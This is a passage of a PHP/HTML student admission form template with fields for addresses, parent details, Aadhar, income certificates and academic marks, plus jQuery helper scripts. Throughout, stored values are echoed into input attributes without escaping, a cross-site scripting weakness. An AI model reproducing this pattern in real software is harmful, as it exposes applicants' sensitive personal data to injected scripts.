for="date01">house No./street No.</label> <div class="controls"> <input type="text" class="input-xlarge" id="house_no" name="house_no" value="<?php echo $record['house_no'];?>" required> </div> </div> <div class="control-group span4"> <label class="control-label" for="date01">Area Locality / Village</label> <div class="controls"> <input type="text" class="input-xlarge" id="village" name="village" value="<?php echo $record['village'];?>" required> </div> </div> <div class="control-group span4"> <label class="control-label" for="date01">Post Office</label> <div class="controls"> <input type="text" class="input-xlarge" id="post_office" name="post_office" value="<?php echo $record['post_office'];?>" required> </div> </div> </div> </div> <div class="row"> <div class="span12"> <div class="control-group span4"> <label class="control-label" for="date01">District</label> <div class="controls"> <input type="text" class="input-xlarge" id="district" name="district" value="<?php echo $record['district'];?>" required> </div> </div> <div class="control-group span4"> <label class="control-label" for="date01">Pin </label> <div class="controls"> <input type="text" class="input-xlarge" id="pincode" name="pincode" value="<?php echo $record['pincode'];?>" required> </div> </div> </div> </div> <div class="row"> <div class="span12"> <div class="control-group span4"> <label class="control-label">Original resident state UP</label> <div class="controls"> <label class="radio"> <input type="radio" id="state1" value="No" <?php if(isset($val) && $val == "edit"){echo $record['state'] == "No"?"checked":"";}else{echo "checked";}?> name="state" required /> No</label> <label class="radio"> <input type="radio" id="state2" value="Yes" <?php if(isset($val) && $val == "edit"){echo $record['state'] == "Yes"?"checked":"";}?> name="state" required /> Yes </label> </div> </div> <div class="control-group span4 state" <?php if($record['state'] == "No"){echo "style='display:none'";}?>> <label class="control-label" for="date01">Online Certification No.</label> <div class="controls"> <input type="text" class="input-xlarge" id="state_certificate_no" name="state_certificate_no" value="<?php echo $record['state_certificate_no'];?>" required> </div> </div> <div class="control-group span4 state"<?php if($record['state'] == "No"){echo "style='display:none'";}?>> <label class="control-label" for="date01">upload</label> <div class="controls"> <input type="file" class="input-xlarge" id="state_certificate" name="state_certificate"> </div> </div> </div> </div> <div class="row"> <div class="span12"> <div class="control-group span4"> <label class="control-label" for="date01">Mobile No.</label> <div class="controls"> <input type="text" class="input-xlarge" id="mobile_no" name="mobile_no" value="<?php echo $record['mobile_no'];?>" required> </div> </div> <div class="control-group span4"> <label class="control-label" for="date01">Email</label> <div class="controls"> <input type="text" class="input-xlarge" id="email" name="email" value="<?php echo $record['email'];?>" required> </div> </div> <div class="control-group span4"> <label class="control-label" for="date01">Aadhar</label> <div class="controls"> <input type="text" class="input-xlarge" id="aadhar" name="aadhar" value="<?php echo $record['aadhar'];?>" required> </div> </div> </div> </div> <div class="row"> <div class="span12"> <div class="control-group span4"> <label class="control-label" for="date01">Upload Photo</label> <div class="controls"> <input type="file" class="input-xlarge" id="photo" name="photo"> </div> </div> </div> </div> </div> </div> <div class="box-content"> <h3>Permanent/ Parents's Address:</h3> <br> <div class="row"> <div class="span12"> <div class="control-group span4"> <label class="control-label" for="date01">House No./Street No.</label> <div class="controls"> <input type="text" class="input-xlarge" id="father_house_no" name="father_house_no" value="<?php echo $record['father_house_no'];?>" required> </div> </div> <div class="control-group span4"> <label class="control-label" for="date01">Area Locality / Village</label> <div class="controls"> <input type="text" class="input-xlarge" id="father_village" name="father_village" value="<?php echo $record['father_village'];?>" required> </div> </div> <div class="control-group span4"> <label class="control-label" for="date01">Post Office</label> <div class="controls"> <input type="text" class="input-xlarge" id="father_post_office" name="father_post_office" value="<?php echo $record['father_post_office'];?>" required> </div> </div> </div> </div> <div class="row"> <div class="span12"> <div class="control-group span4"> <label class="control-label" for="date01">District</label> <div class="controls"> <input type="text" class="input-xlarge" id="father_district" name="father_district" value="<?php echo $record['father_district'];?>" required> </div> </div> <div class="control-group span4"> <label class="control-label" for="date01">Pin </label> <div class="controls"> <input type="text" class="input-xlarge" id="father_pincode" name="father_pincode" value="<?php echo $record['father_pincode'];?>" required> </div> </div> </div> </div> <div class="row"> <div class="span12"> <div class="control-group span4"> <label class="control-label">Father Name</label> <div class="controls"> <input type="text" class="input-xlarge" id="father_name" name="father_name" value="<?php echo $record['father_name'];?>" required> </div> </div> <div class="control-group span4"> <label class="control-label" for="date01">Mobile No.</label> <div class="controls"> <input type="text" class="input-xlarge" id="father_mobile_no" name="father_mobile_no" value="<?php echo $record['father_mobile_no'];?>" required> </div> </div> <div class="control-group span4"> <label class="control-label" for="date01">Father's Email Id</label> <div class="controls"> <input type="text" class="input-xlarge" id="father_email" name="father_email" value="<?php echo $record['father_email'];?>" required> </div> </div> </div> </div> <div class="row"> <div class="span12"> <div class="control-group span4"> <label class="control-label">Annual Income</label> <div class="controls"> <input type="text" class="input-xlarge" id="annual_income" name="annual_income" value="<?php echo $record['annual_income'];?>" required> </div> </div> <div class="control-group span4 income"> <label class="control-label" for="date01">Online Certification No.</label> <div class="controls"> <input type="text" class="input-xlarge" id="income_certificate_no" name="income_certificate_no" value="<?php echo $record['income_certificate_no'];?>" required> </div> </div> <div class="control-group span4 income"> <label class="control-label" for="date01">upload</label> <div class="controls"> <input type="file" class="input-xlarge" id="income_certificate" name="income_certificate"> </div> </div> </div> </div> <div class="row"> <div class="span12"> <div class="control-group span4"> <label class="control-label">Mother Name</label> <div class="controls"> <input type="text" class="input-xlarge" id="mother_name" name="mother_name" value="<?php echo $record['mother_name'];?>" required> </div> </div> <div class="control-group span4"> <label class="control-label" for="date01">Mobile No.</label> <div class="controls"> <input type="text" class="input-xlarge" id="mother_mobile_no" name="mother_mobile_no" value="<?php echo $record['mother_mobile_no'];?>" required> </div> </div> </div> </div> </div> <div class="box-content"> <h3>Academic Qualification:-</h3> <br> <div class="row"> <div class="span12"> <table class="table" style="margin-left: 50px !important;width: 95% !important;"> <thead> <tr> <th>Qualification</th> <th>Subject</th> <th>Year of passing</th> <th>Board</th> <th>Division</th> <th>Roll No.</th> <th style="max-width:50px">Marks/CGPA obtained</th> <th style="max-width:50px">Maximum Marks/CGPA</th> </tr> </thead> <tbody> <tr> <td>High School</th> <td><input type="text" style="max-width:120px" name="hs_subject" value="<?php echo $record['hs_subject'];?>" id="hs_subject"></td> <td><input type="text" style="max-width:70px" name="hs_year" value="<?php echo $record['hs_year'];?>" id="hs_year"></td> <td><input type="text" style="max-width:120px" name="hs_board" value="<?php echo $record['hs_board'];?>" id="hs_board"></td> <td><input type="text" style="max-width:50px" name="hs_division" value="<?php echo $record['hs_division'];?>" id="hs_division"></td> <td><input type="text" style="max-width:100px" name="hs_roll_no" value="<?php echo $record['hs_roll_no'];?>" id="hs_roll_no"></td> <td><input type="text" style="max-width:50px" name="hs_obtained" value="<?php echo $record['hs_obtained'];?>" id="hs_obtained"></td> <td><input type="text" style="max-width:50px" name="hs_maximum" value="<?php echo $record['hs_maximum'];?>" id="hs_maximum"></td> </tr> <tr> <td>Intermediate</th> <td><input type="text" style="max-width:120px" name="inter_subject" value="<?php echo $record['inter_subject'];?>" id="inter_subject"></td> <td><input type="text" style="max-width:70px" name="inter_year" value="<?php echo $record['inter_year'];?>" id="inter_year"></td> <td><input type="text" style="max-width:120px" name="inter_board" value="<?php echo $record['inter_board'];?>" id="inter_board"></td> <td><input type="text" style="max-width:50px" name="inter_division" value="<?php echo $record['inter_division'];?>" id="inter_division"></td> <td><input type="text" style="max-width:100px" name="inter_roll_no" value="<?php echo $record['inter_roll_no'];?>" id="inter_roll_no"></td> <td><input type="text" style="max-width:50px" name="inter_obtained" value="<?php echo $record['inter_obtained'];?>" id="inter_obtained"></td> <td><input type="text" style="max-width:50px" name="inter_maximum" value="<?php echo $record['inter_maximum'];?>" id="inter_maximum"></td> </tr> <tr> <td><select name="ug_qualification" id="ug_qualification" style="width:100px"> <option value="">Select UG</option> </select></td> <td><input type="text" style="max-width:120px" name="ug_subject" value="<?php echo $record['ug_subject'];?>" id="ug_subject"></td> <td><input type="text" style="max-width:70px" name="ug_year" value="<?php echo $record['ug_year'];?>" id="ug_year"></td> <td><input type="text" style="max-width:120px" name="ug_board" value="<?php echo $record['ug_board'];?>" id="ug_board"></td> <td><input type="text" style="max-width:50px" name="ug_division" value="<?php echo $record['ug_division'];?>" id="ug_division"></td> <td><input type="text" style="max-width:100px" name="ug_roll_no" value="<?php echo $record['ug_roll_no'];?>" id="ug_roll_no"></td> <td><input type="text" style="max-width:50px" name="ug_obtained" value="<?php echo $record['ug_obtained'];?>" id="ug_obtained"></td> <td><input type="text" style="max-width:50px" name="ug_maximum" value="<?php echo $record['ug_maximum'];?>" id="ug_maximum"></td> </tr> <tr> <td><select name="pg_qualification" id="pg_qualification" style="width:100px"> <option value="">Select PG</option> </select></td> <td><input type="text" style="max-width:120px" name="pg_subject" value="<?php echo $record['pg_subject'];?>" id="pg_subject"></td> <td><input type="text" style="max-width:70px" name="pg_year" value="<?php echo $record['pg_year'];?>" id="pg_year"></td> <td><input type="text" style="max-width:120px" name="pg_board" value="<?php echo $record['pg_board'];?>" id="pg_board"></td> <td><input type="text" style="max-width:50px" name="pg_division" value="<?php echo $record['pg_division'];?>" id="pg_division"></td> <td><input type="text" style="max-width:100px" name="pg_roll_no" value="<?php echo $record['pg_roll_no'];?>" id="pg_roll_no"></td> <td><input type="text" style="max-width:50px" name="pg_obtained" value="<?php echo $record['pg_obtained'];?>" id="pg_obtained"></td> <td><input type="text" style="max-width:50px" name="pg_maximum" value="<?php echo $record['pg_maximum'];?>" id="pg_maximum"></td> </tr> <tr> <td>Other</th> <td><input type="text" style="max-width:120px" name="other_subject" value="<?php echo $record['other_subject'];?>" id="other_subject"></td> <td><input type="text" style="max-width:70px" name="other_year" value="<?php echo $record['other_year'];?>" id="other_year"></td> <td><input type="text" style="max-width:120px" name="other_board" value="<?php echo $record['other_board'];?>" id="other_board"></td> <td><input type="text" style="max-width:50px" name="other_division" value="<?php echo $record['other_division'];?>" id="other_division"></td> <td><input type="text" style="max-width:100px" name="other_roll_no" value="<?php echo $record['other_roll_no'];?>" id="other_roll_no"></td> <td><input type="text" style="max-width:50px" name="other_obtained" value="<?php echo $record['other_obtained'];?>" id="other_obtained"></td> <td><input type="text" style="max-width:50px" name="other_maximum" value="<?php echo $record['other_maximum'];?>" id="other_maximum"></td> </tr> </tbody> </table> </div> </div> <div class="row"> <div class="span12"> <div class="control-group span12"> <label class="control-label">Declaration (A)</label> <div class="controls"> <input type="checkbox" class="input-xlarge" id="declaration_a" name="declaration_a" <?php if($record['declaration_a'] == "on"){echo "checked";}?> required>As Per Admission Form </div> </div> </div> </div> <div class="row"> <div class="span12"> <div class="control-group span12"> <label class="control-label">Declaration (B) Anti Ragging</label> <div class="controls"> <input type="checkbox" class="input-xlarge" id="declaration_b" name="declaration_b" <?php if($record['declaration_b'] == "on"){echo "checked";}?> required>As Per Admission Form </div> </div> </div> </div> <div class="row"> <div class="span12"> <div class="control-group span12"> <label class="control-label"> </label> <div class="controls"> <input type="checkbox" class="input-xlarge" id="affidevit" name="affidevit" <?php if($record['affidevit'] == "on"){echo "checked";}?> required> Affidevit </div> </div> </div> </div> </div> </div> </div> </fieldset> <!--/span--> </div> </div> <!--/span--> <center> <?php if(isset($val) && $val == "edit"){?> <button type="submit" name="update" class="btn btn-primary">Update</button> <?php }else{?> <button type="submit" name="register" class="btn btn-primary">Save</button> <?php }?> <button class="btn" type="reset">Cancel</button> </center> </fieldset> </form> </div> <!--/row--> <?php include('footer.php'); ?> <script> $(function(){ $("#social_category").change(function(){ var social_category = $("#social_category").val(); if(social_category == '' || social_category == "General"){ $(".social-category").css("display","none"); }else{ $(".social-category").css("display","block"); } }); $("#subcategory").change(function(){ var sub_category = $("#subcategory").val(); if(sub_category == ''){ $(".sub-category").css("display","none"); }else{ $(".sub-category").css("display","block"); } }); $("input[name='disability']").click(function(){ var disability = $("input[name='disability']:checked").val(); if(disability == 'No' || disability == ''){ $(".disability").css("display","none"); }else{ $(".disability").css("display","block"); } }); }); </script> <script> function getDetails(){ var session = $("#session").val(); var className = $("#class").val(); var merit_list_no = $("#merit_list_no").val(); var uni_reg_no = $("#uni_reg_no").val(); $.ajax({ url:"getStudentRegistrationDetails.php", type:"POST", data:{session:session,className:className,merit_list_no:merit_list_no,uni_reg_no:uni_reg_no}, dataType:"json", success:function(res){ if(res['status'] == "success"){ $("#first_name").val(res['name']); $("#rank").val(res['rank']); $("#res_category").val(res['res_category']); $("#weightage").val(res['weightage']); $("#father_name").val(res['father_name']); $("#state").val(res['state']); $("#inter_subject").val(res['inter_subject']); $("#inter_obtained").val(res['inter_obtained']); $("#hs_obtained").val(res['hs_obtained']); } }, error: function( req, status, err ) { alert('something went wrong'+ status + err); } }); } </script> <script> $(document).keydown(function(e) { if ((e.keyCode == 82 || e.keyCode ==116) && e.ctrlKey) { window.location.href="mcm_admission.php"; } }); </script>
Close